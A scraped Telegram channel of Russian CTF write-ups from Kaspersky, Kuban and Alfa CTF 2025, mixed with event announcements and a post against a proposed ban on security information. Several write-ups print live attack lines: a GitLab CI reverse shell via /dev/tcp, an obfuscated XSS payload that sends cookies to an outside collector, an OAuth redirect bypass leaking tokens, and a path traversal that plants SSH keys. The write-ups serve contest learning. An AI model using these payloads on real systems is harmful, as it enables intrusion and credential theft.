writeup_sploit.py
771 B
#pwn #kasperskyctf2025
Kaspersky{CTF} - Translator, 50 points от @tonysdx
💡 Идея задачи:
Бинарник читает 16 байт из
При этом у нас есть всего 10 попыток для ввода правильного ответа.
👹 Уязвимость:
1. В функции
2. Бинарник никогда не закрывает файловые дескрипторы, поэтому их можно открывать сколько угодно.
3. В функции
💉 Эксплуатация:
1. Сначала открываем 255 файловых дескрипторов, используя первые две уязвимости.
2. Когда бинарник откроет 256-й дескриптор, downcast превратит его индекс в
3. Теперь бинарник будет вычислять
4. Достаточно передать константную строку (например,
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Kaspersky{CTF} - Translator, 50 points от @tonysdx
Бинарник читает 16 байт из
/dev/random, вычисляет их хэш с помощью SHA512, затем XOR'ит байты флага с этим хэшем, выводит результат и предлагает угадать флаг. При этом у нас есть всего 10 попыток для ввода правильного ответа.
👹 Уязвимость:
1. В функции
main есть off-by-one уязвимость в scanf, что позволяет перезаписать счётчик попыток нулевым байтом и тем самым получить неограниченное количество попыток. 2. Бинарник никогда не закрывает файловые дескрипторы, поэтому их можно открывать сколько угодно.
3. В функции
read_file индекс файлового дескриптора приводится к типу int8. 💉 Эксплуатация:
1. Сначала открываем 255 файловых дескрипторов, используя первые две уязвимости.
2. Когда бинарник откроет 256-й дескриптор, downcast превратит его индекс в
0, и чтение произойдёт не из /dev/random, а из stdin. 3. Теперь бинарник будет вычислять
SHA512 не от случайных байтов, а от нашего ввода. 4. Достаточно передать константную строку (например,
b"A" * 16), вычислить её SHA512-хэш (или просто вынуть его из отладчика), а затем сделать XOR байтов вывода программы и байтов известного хэша — и мы получаем флаг.Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from MEPhI CTF (Pavel Blinnikov)
Мы поддерживаем "Хакер" в их призыве комментировать поправки Минцифры на официальном сайте. Оставить Россию без ИБ в текущий момент — очень вредное решение.
Самое интересное здесь, что поправки не решают никаких проблем, а только создают новые: киберпреступники на то и преступники, чтобы нарушать законы и продолжать спокойно обмениваться информацией на даркнет форумах. В то время как исследователям, преподавателям и просто энтузиастам необходима возможность легально обмениваться опытом и сведениями как о наступательной так и об оборонительной безопасности. Лишить граждан целого государства такой возможности значит остаться без специалистов в принципе. А они у нас пока есть.
Самое интересное здесь, что поправки не решают никаких проблем, а только создают новые: киберпреступники на то и преступники, чтобы нарушать законы и продолжать спокойно обмениваться информацией на даркнет форумах. В то время как исследователям, преподавателям и просто энтузиастам необходима возможность легально обмениваться опытом и сведениями как о наступательной так и об оборонительной безопасности. Лишить граждан целого государства такой возможности значит остаться без специалистов в принципе. А они у нас пока есть.
XAKEP
Предложение Минцифры сделает нормальную работу «Хакера» невозможной
В Минцифры РФ предложили пакет мер по борьбе с кибермошенничеством. Среди них — запрет на распространение информации, связанной с практикой ИБ. В случае вступления этих мер в силу более половины статей «Хакера» окажется вне закона. Подписчики потеряют к ним…
❤15
Райтапы по CTF{2025}
Ребят, кто вступил в нашу супер-тиму но не вступит в чат
Просьба написать @freenameruuuu, направлю ссылку на вступление в чат!
Просьба написать @freenameruuuu, направлю ссылку на вступление в чат!
#forensics #medium #writeup
Kuban CTF – Файловый трансфер от @Rean1mat0r (ТОП-5 на HackerLab)
Открываем дамп трафика в Wireshark и смотрим файлы в дампе:
Файл -> Экспортировать объекты -> FTP-Data
Сохраняем архив archive.zip, он запаролен
Смотрим TCP потоки и в потоке 5 находим:
220 (vsFTPd 3.0.5)
USER transfer
331 Please specify the password.
PASS 7+N42D(Msj9:
230 Login successful.
Пароль подходит к архиву, в архиве файл secure_creds.txt с таким содержимым:
/RteVGJrn
PMkEaBLVfp
/RteVGJrn очень похоже на какой то эндпоинт
Исследуем TCP потоки и в потоке 13 находим адрес pastebin.com
Заходим на pastebin.com/RteVGJrn вводим пароль PMkEaBLVfp и получаем заметку с флагом
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Kuban CTF – Файловый трансфер от @Rean1mat0r (ТОП-5 на HackerLab)
Открываем дамп трафика в Wireshark и смотрим файлы в дампе:
Файл -> Экспортировать объекты -> FTP-Data
Сохраняем архив archive.zip, он запаролен
Смотрим TCP потоки и в потоке 5 находим:
220 (vsFTPd 3.0.5)
USER transfer
331 Please specify the password.
PASS 7+N42D(Msj9:
230 Login successful.
Пароль подходит к архиву, в архиве файл secure_creds.txt с таким содержимым:
/RteVGJrn
PMkEaBLVfp
/RteVGJrn очень похоже на какой то эндпоинт
Исследуем TCP потоки и в потоке 13 находим адрес pastebin.com
Заходим на pastebin.com/RteVGJrn вводим пароль PMkEaBLVfp и получаем заметку с флагом
Please open Telegram to view this post
VIEW IN TELEGRAM
1 12 2 1 1
#forensics #medium #writeup
Kuban CTF – MTF от @Rean1mat0r (ТОП-5 на HackerLab)
Дан дамп MFT
Гуглим MFT Forensics и находим утилиту MFT Explorer
Открываем в ней наш дамп и изучаем
Проверяем папки пользователя, такие как Desktop, Documents, Downloads. Ничего интересного не находим. Но в файле истории команд Powershell ".\Users\trager\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" находим такое:
ASCII: cd ~/Desktop
1..5 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
1..50 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
1..150 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
ping 192.168.58.132
cd C:\Windows\
ls
echo 1 > Doc
ls
echo "43 53 43 7B 6D 34 73 74 65 72 5F 66 31 6C 65 5F 74 34 62 6C 65 5F 70 34 73 73 65 64 7D" > Doc
cat .\Doc
cd C:\Users\trager\Downloads\
ls
./fast_x64.exe --packages dump --dump mft
.\FastIR_x64.exe --packages dump --dump mft
Декодим из хекс 43 53 43 7B 6D 34 73 74 65 72 5F 66 31 6C 65 5F 74 34 62 6C 65 5F 70 34 73 73 65 64 7D и получаем флаг
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Kuban CTF – MTF от @Rean1mat0r (ТОП-5 на HackerLab)
Дан дамп MFT
Гуглим MFT Forensics и находим утилиту MFT Explorer
Открываем в ней наш дамп и изучаем
Проверяем папки пользователя, такие как Desktop, Documents, Downloads. Ничего интересного не находим. Но в файле истории команд Powershell ".\Users\trager\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" находим такое:
ASCII: cd ~/Desktop
1..5 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
1..50 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
1..150 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
ping 192.168.58.132
cd C:\Windows\
ls
echo 1 > Doc
ls
echo "43 53 43 7B 6D 34 73 74 65 72 5F 66 31 6C 65 5F 74 34 62 6C 65 5F 70 34 73 73 65 64 7D" > Doc
cat .\Doc
cd C:\Users\trager\Downloads\
ls
./fast_x64.exe --packages dump --dump mft
.\FastIR_x64.exe --packages dump --dump mft
Декодим из хекс 43 53 43 7B 6D 34 73 74 65 72 5F 66 31 6C 65 5F 74 34 62 6C 65 5F 70 34 73 73 65 64 7D и получаем флаг
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from CyberCamp
Все на борт! CyberCamp 2025 открывает регистрацию 😎
Кэмп пройдет в онлайне с 20 по 25 октября! Тема этого года — Киберустойчивость. Мы разберем, как эффективно действовать в условиях постоянных кибератак. В программе:
🔤 40+ докладов и выступлений от экспертов из компаний BI.ZОNE, F6, Ozon, Positive Technologies, Inseca, Инфосистемы Джет, Лаборатория Касперского и др. Часть докладов будут доступны еще до эфира!
🔤 10 000+ соло-участников и 40+ практических заданий от авторов кэмпа, спикеров и комьюнити
🔤 1 000 участников и 15+ сценариев командных киберучений в корпоративной и студенческой лигах
🔤 курсы и практика по ИБ от ведущих учебных центров, а также экзамен в кандидаты ССК
🔤 онлайн-консультации тет-а-тет с топовыми специалистами на волнующие темы в кибербезе
🔤 7 000 000 рублей 🪙 общего призового фонда для команд и соло-участников
Залетай на CyberCamp 2025 — первые задания уже доступны после регистрации☀️
©️ Регистрация l 😺 Чат
Кэмп пройдет в онлайне с 20 по 25 октября! Тема этого года — Киберустойчивость. Мы разберем, как эффективно действовать в условиях постоянных кибератак. В программе:
Залетай на CyberCamp 2025 — первые задания уже доступны после регистрации
Please open Telegram to view this post
VIEW IN TELEGRAM
❤9 6 3 1
public-rock-n-rollback.tar.gz
953.6 KB
#pwn
rock-n-rollback 🪓
Теперь нет необходимости запоминать указатели и вызывать free!
Автор: @s41nt0l3xus
После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.
Зеркало тасков
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
rock-n-rollback 🪓
Теперь нет необходимости запоминать указатели и вызывать free!
45.12.114.80:32002
Автор: @s41nt0l3xus
После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.
Зеркало тасков
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
Please open Telegram to view this post
VIEW IN TELEGRAM
public-undefined-pointer.tar.gz
952 KB
#pwn
undefined-pointer🧑💻
Один дед на курсах программирования всегда подчеркивал важность инициализации переменных при их объявлении. Думаю, ничего страшного не произойдет, если я сделаю это позже.
Автор: @s41nt0l3xus
После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.
Зеркало тасков
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
undefined-pointer🧑💻
Один дед на курсах программирования всегда подчеркивал важность инициализации переменных при их объявлении. Думаю, ничего страшного не произойдет, если я сделаю это позже.
45.12.114.80:32000
Автор: @s41nt0l3xus
После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.
Зеркало тасков
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
Please open Telegram to view this post
VIEW IN TELEGRAM
Райтапы на Alfa-CTF можно прислать @freenameruuuu после 18:00!
Оперативно выложу!
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Оперативно выложу!
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegram
Райтапы по CTF{2025}
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ
💬 Наш ламповый чатик: @writeup_chat
✍️ По любому вопросу можно писать мне: @freenameruuuu
✅ Таски решать тут: @writeup_ctf_bot
💬 Наш ламповый чатик: @writeup_chat
✍️ По любому вопросу можно писать мне: @freenameruuuu
✅ Таски решать тут: @writeup_ctf_bot
❤7 5 2
Райтапы по CTF{2025}
Райтапы на Alfa-CTF можно прислать @freenameruuuu после 18:00! Оперативно выложу! 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Звуки ностальгии.pdf
7.7 MB
Я знаю, вы хотели этот райтап!
#osint #alfactf2025
Звуки ностальгии автор: @p_domarev
UPD: альтернативный вектор от @Pep_macgvai
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
#osint #alfactf2025
Звуки ностальгии автор: @p_domarev
UPD: альтернативный вектор от @Pep_macgvai
Смотрим информацию о клипе в https://ru.wikipedia.org/wiki/Wake_Me_Up_When_September_Ends
Сравниваем с https://en.wikipedia.org/wiki/Wake_Me_Up_When_September_Ends
Ради интереса открываем историю правок и находим правку от 1 сентября 2023 года с точным адресом
https://en.wikipedia.org/w/index.php?title=Wake_Me_Up_When_September_Ends&oldid=1173357244
проверяем на картах убеждаемся в точности и сдаём флаг
Please open Telegram to view this post
VIEW IN TELEGRAM
❤14🔥5
#web #alfactf2025
Защита от спама от моего дорогого друга и создателя @duckerz: @myqookie
Ребята заняли 9 место!
Следующим образом можно вывести все файлы в текущей директории:
Из полученного вывода можно увидеть файл .config.yaml
Далее можно прочитать этот файл:
Содержимое .config.yaml:
Через уязвимость path traversal при загрузке файлов можно создать файл authorized_keys2 в .ssh в домашней директории пользователя.
После этого коннектимся по ssh и получаем флаг
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Защита от спама от моего дорогого друга и создателя @duckerz: @myqookie
Ребята заняли 9 место!
Следующим образом можно вывести все файлы в текущей директории:
GET /api/files?path=. HTTP/2
Host: fr7sz1sb.spambox.alfactf.ru
Cookie: __cfduid=310a16b169b0030e147c7e3c54244766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Sec-Gpc: 1
Referer: https://fr7sz1sb.spambox.alfactf.ru/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Из полученного вывода можно увидеть файл .config.yaml
{"name":".config.yaml","path":".config.yaml","is_directory":false,"size":345,"modified":1757791038}Далее можно прочитать этот файл:
GET /api/content?path=.config.yaml HTTP/2
Host: fr7sz1sb.spambox.alfactf.ru
Cookie: __cfduid=310a16b169b0030e147c7e3c54244766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Sec-Gpc: 1
Referer: https://fr7sz1sb.spambox.alfactf.ru/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Содержимое .config.yaml:
exclude_files_and_dirs:
- ".profile"
- ".bashrc"
- ".bash_history"
- ".bash_logout"
- ".bash_profile"
- ".history"
- ".viminfo"
- ".ssh/authorized_keys"
- "/etc/"
- "/proc/"
- "/sys/"
- "/home/"
- "/root/"
- "/usr/"
- "/var/"
- "/tmp/"
- "/dev/"
Через уязвимость path traversal при загрузке файлов можно создать файл authorized_keys2 в .ssh в домашней директории пользователя.
POST /api/files HTTP/2
Host: fr7sz1sb.spambox.alfactf.ru
Cookie: __cfduid=310a16b169b0030e147c7e3c54244766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5
Content-Length: 731
Origin: https://fr7sz1sb.spambox.alfactf.ru
Sec-Gpc: 1
Referer: https://fr7sz1sb.spambox.alfactf.ru/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
------geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5
Content-Disposition: form-data; name="files"; filename="authorized_keys2"
Content-Type: text/plain
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxRfItRAln9f0MNzXjayUlCknQQ1G0UG40lQnUeyAwZXwKfAMRij8Pt6tCEB8qVwm67OQBQQ7pjLbzGWWPARazQtDe5Av01mcYQKiF3h5T99Cx/2+GobwBknTnuzEd5bfqZ1/9IHPjPCTm/zursyhI+u0niJ50uQwZmJiT/29j7S+ixfeikvQccpX7FdlZCorrvRAf0SkCYvEe0MOg9YQKuchWb96r9QPl6gQQs5gTzwotLeFwmdeHVzatqfy39vOF3RyYoSgW6oElFWzFoAJpVwIqCucqbMbk9B8tF/AQs46utSzfThNdkKT+7WbKxojDZUhrDRPmpvmTfpH4LhOB eianisimov@inbox.ru
------geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5
Content-Disposition: form-data; name="path"
.ssh
------geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5--
После этого коннектимся по ssh и получаем флаг
ssh -i ~/.ssh/id_rsa_for_auth2.pub fr7sz1sb@fr7sz1sb.spambox.alfactf.ru
Please open Telegram to view this post
VIEW IN TELEGRAM
❤13🔥7 1
Пальма с биткоинами.pdf
1.1 MB
#web #alfactf2025
Пальма с биткоинами, автор @p_domarev
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Пальма с биткоинами, автор @p_domarev
Please open Telegram to view this post
VIEW IN TELEGRAM
1❤4 1
Кислотный ретровейв.pdf
90 KB
#web #alfactf2025
Кислотный ретровейв, автор @p_domarev
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Кислотный ретровейв, автор @p_domarev
Please open Telegram to view this post
VIEW IN TELEGRAM
1 6❤2
Десант блогеров.pdf
354.7 KB
#web #alfactf2025
Десант блогеров, автор мой тиммейт @ValMor1251
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Десант блогеров, автор мой тиммейт @ValMor1251
Please open Telegram to view this post
VIEW IN TELEGRAM
#web #alfactf2025
Шакализация волны от @Dan1Lev, наша команда xyz❤️
tv.alfactf.ru/api/auth/login принимает параметр next и передаёт его на shakalauth/oauth/authorize в двух параметрах — redirect_uri и next, без фильтрации.
shakalauth/oauth/authorize пытается отфильтровать redirect_uri, который не оканчивается на .alfactf.ru. Это можно обойти с помощью ?:
🔹 На этапе проверки tv.alfactf.ru не считается частью пути, и
вернёт
что как раз проходит по условию.
🔹 В момент запроса строка
преобразуется в
Всё это делалось ради инъекции в iframe-шаблон, который отправляет code и state на наш сервер.
В итоге получаем ссылку, которую отправляем в чат поддержки
После этого полученные данные отправляем на
и получаем авторизацию админа 🛡. Там меняем качество — и получаем флаг 🚩
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Шакализация волны от @Dan1Lev, наша команда xyz
tv.alfactf.ru/api/auth/login принимает параметр next и передаёт его на shakalauth/oauth/authorize в двух параметрах — redirect_uri и next, без фильтрации.
shakalauth/oauth/authorize пытается отфильтровать redirect_uri, который не оканчивается на .alfactf.ru. Это можно обойти с помощью ?:
https://9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru/
🔹 На этапе проверки tv.alfactf.ru не считается частью пути, и
redirect_uri.split("://", 1)[1].split("/", 1)[0].split(":", 1)[0]вернёт
9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru
что как раз проходит по условию.
🔹 В момент запроса строка
9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru
преобразуется в
9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com/?tv.alfactf.ru
Всё это делалось ради инъекции в iframe-шаблон, который отправляет code и state на наш сервер.
В итоге получаем ссылку, которую отправляем в чат поддержки
https://tv.alfactf.ru:20016/api/auth/login?next=https://9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru/
После этого полученные данные отправляем на
tv.alfactf.ru/api/auth/callback
и получаем авторизацию админа 🛡. Там меняем качество — и получаем флаг 🚩
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8❤2
Вихрь рик-ролла.pdf
28.7 KB
#web #alfactf2025
Студенческая лига
Вихрь рик-ролла, автор @filemonenok
доп файлы - https://disk.360.yandex.ru/d/OvEZ6R-D2P4oUA
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Студенческая лига
Вихрь рик-ролла, автор @filemonenok
доп файлы - https://disk.360.yandex.ru/d/OvEZ6R-D2P4oUA
Please open Telegram to view this post
VIEW IN TELEGRAM
#web #alfactf2025
Разработчик на пляже от моего тиммейта @Dan1Lev
Заглянув в robots.txt блога находим "Файловый менеджер"
Внутни которого лежит .env файл из которого получаем адрес и данные для gitlab
Открываем репозиторий и создаём CI/CD файл .gitlab-ci.yml через который получаем обратную оболочку
В корневой папке пользователя в .ssh находим ssh ключ, а в .bash_history логин и хост
подключаемся и забираем флаг
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Разработчик на пляже от моего тиммейта @Dan1Lev
Заглянув в robots.txt блога находим "Файловый менеджер"
Disallow: /shell.php
Внутни которого лежит .env файл из которого получаем адрес и данные для gitlab
Открываем репозиторий и создаём CI/CD файл .gitlab-ci.yml через который получаем обратную оболочку
stages:
- build
shell:
stage: build
script:
- sh -i >& /dev/tcp/ts.fsox.ru/1964 0>&1
В корневой папке пользователя в .ssh находим ssh ключ, а в .bash_history логин и хост
подключаемся и забираем флаг
ssh -o StrictHostKeyChecking=no -i ~/.ssh/id_rsa prod@production cat flag.txt
Please open Telegram to view this post
VIEW IN TELEGRAM
#web #alfactf2025
Дикий огурец, автор @ivan_komarov
➡️ https://gist.github.com/dfyz/f0023bd0b297a9c18e5000ae6fb55538
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Дикий огурец, автор @ivan_komarov
Please open Telegram to view this post
VIEW IN TELEGRAM
Gist
Разбор задания «Дикий огурец» с ALFA CTF 2025
Разбор задания «Дикий огурец» с ALFA CTF 2025. GitHub Gist: instantly share code, notes, and snippets.
🔥12😱3 1
#alfactf2025
Фиксы в лучах заката, автор @purplesyringa
NTFS поддерживает дофига POSIX-совместимых фич в духе разрешений (хочется setuid), но разрешения без -o permissions никак ни на что не влияют, поэтому надо искать какой-то другой способ повысить привилегии.
Утверждается, что
а) ntfs-3g поддерживает эмулияцию xattrs, б) capabilities файлов хранятся в xattrs
т.е. можно создать образ, где шеллкоду повышены разрешения через setcap cap_sys_admin=eip mnt/shellcode, и потом этот бинарь можно запустить на машине
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Фиксы в лучах заката, автор @purplesyringa
NTFS поддерживает дофига POSIX-совместимых фич в духе разрешений (хочется setuid), но разрешения без -o permissions никак ни на что не влияют, поэтому надо искать какой-то другой способ повысить привилегии.
Утверждается, что
а) ntfs-3g поддерживает эмулияцию xattrs, б) capabilities файлов хранятся в xattrs
т.е. можно создать образ, где шеллкоду повышены разрешения через setcap cap_sys_admin=eip mnt/shellcode, и потом этот бинарь можно запустить на машине
Please open Telegram to view this post
VIEW IN TELEGRAM
❤9
Цунами_дедлайнов_Решение_@THL_1xBtc.pdf
266.7 KB
#web #alfactf2025
Студенческая лига
Цунами дедлайнов автор @THL_1xBtc
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Студенческая лига
Цунами дедлайнов автор @THL_1xBtc
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7
#web #alfactf2025
Возвращение стены, автор @Dan1Lev
Точек для XSS тут хватает, это аватар, имена файлов и username. Возможно есть ещё, но не проверял использовал только аватар.
На endpoint /avatar отправляется параметр avatar_url в который можно передать например такую нагрузку
Защита есть только со стороны фронта которая даст отправить только url.
Но для получения флага понимания куда загружать не достаточно, нужно изучить поведение бота.
Бот переходит на нашу страницу если набирается 3 поста, запоминает последний пост, переходит на главную где проходит авторизацию и публикует запомненный пост с нашей страницы.
Флаг добавляется к куки в начале авторизации. Содержимое поста не уязвимо к инъекциям.
Нужно заставить бота остаться на нашей странице. Для этого выдадим ему куки нашего аккаунта с помошью следующей нагрузки к которой был добавлен сбор куки.
Содержимое eval
Но и этого не достаточно. Да, бот будет авторизован, но не найдя на странице форму авторизации бот остановится, в добавок куки добавляется после загрузки страницы.
Для обхода нуно добавить фиктивную форму
Дополнительно бот проверяет есть ли в url /profile/, но это не проблема т.к. авторизованный аккаунт автоматически будет редиректится в профиль.
Финальная нагрузка
После установки создаём 3 поста и спустя мгновение получаем куки с флагом
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Возвращение стены, автор @Dan1Lev
Точек для XSS тут хватает, это аватар, имена файлов и username. Возможно есть ещё, но не проверял использовал только аватар.
На endpoint /avatar отправляется параметр avatar_url в который можно передать например такую нагрузку
" onerror=alert(1); "
Защита есть только со стороны фронта которая даст отправить только url.
Но для получения флага понимания куда загружать не достаточно, нужно изучить поведение бота.
Бот переходит на нашу страницу если набирается 3 поста, запоминает последний пост, переходит на главную где проходит авторизацию и публикует запомненный пост с нашей страницы.
Флаг добавляется к куки в начале авторизации. Содержимое поста не уязвимо к инъекциям.
Нужно заставить бота остаться на нашей странице. Для этого выдадим ему куки нашего аккаунта с помошью следующей нагрузки к которой был добавлен сбор куки.
" onerror=eval(atob("ZG9jdW1lbnQuY29va2llID0gImFjY2Vzc190b2tlbj1leUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpFWVc1TVpYWXhNek0zSWl3aVpYaHdJam94TnpZd05EVXhPRGd3ZlEuOElQTFh3NjZSWjZnbVl2dmtKV2w5a01fRndFdzhseFVTYWI2dDVZV3NSRTsgcGF0aD0vIjsKZmV0Y2goImh0dHBzOi8vaDBpbjYzeXV6Z281MGx0MmUzaDNvejExYXNnajRiczAub2FzdGlmeS5jb20vP2M9Iitkb2N1bWVudC5jb29raWUpOw==")); "Содержимое eval
document.cookie = "access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJEYW5MZXYxMzM3IiwiZXhwIjoxNzYwNDUxODgwfQ.8IPLXw66RZ6gmYvvkJWl9kM_FwEw8lxUSab6t5YWsRE; path=/";
fetch("https://h0in63yuzgo50lt2e3h3oz11asgj4bs0.oastify.com/?c="+document.cookie);
Но и этого не достаточно. Да, бот будет авторизован, но не найдя на странице форму авторизации бот остановится, в добавок куки добавляется после загрузки страницы.
Для обхода нуно добавить фиктивную форму
<form id="login-form"><input name="username"/><input name="password"/><button></button></form>
Дополнительно бот проверяет есть ли в url /profile/, но это не проблема т.к. авторизованный аккаунт автоматически будет редиректится в профиль.
Финальная нагрузка
"onerror=eval(atob("ZG9jdW1lbnQuY29va2llID0gImFjY2Vzc190b2tlbj1leUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpFWVc1TVpYWXhNek0zSWl3aVpYaHdJam94TnpZd05EVXhPRGd3ZlEuOElQTFh3NjZSWjZnbVl2dmtKV2w5a01fRndFdzhseFVTYWI2dDVZV3NSRTsgcGF0aD0vIjsKZmV0Y2goImh0dHBzOi8vaDBpbjYzeXV6Z281MGx0MmUzaDNvejExYXNnajRiczAub2FzdGlmeS5jb20vP2M9Iitkb2N1bWVudC5jb29raWUpOw=="));><form id="login-form"><input name="username"/><input name="password"/><button></button></form><img src="После установки создаём 3 поста и спустя мгновение получаем куки с флагом
Please open Telegram to view this post
VIEW IN TELEGRAM
❤8 2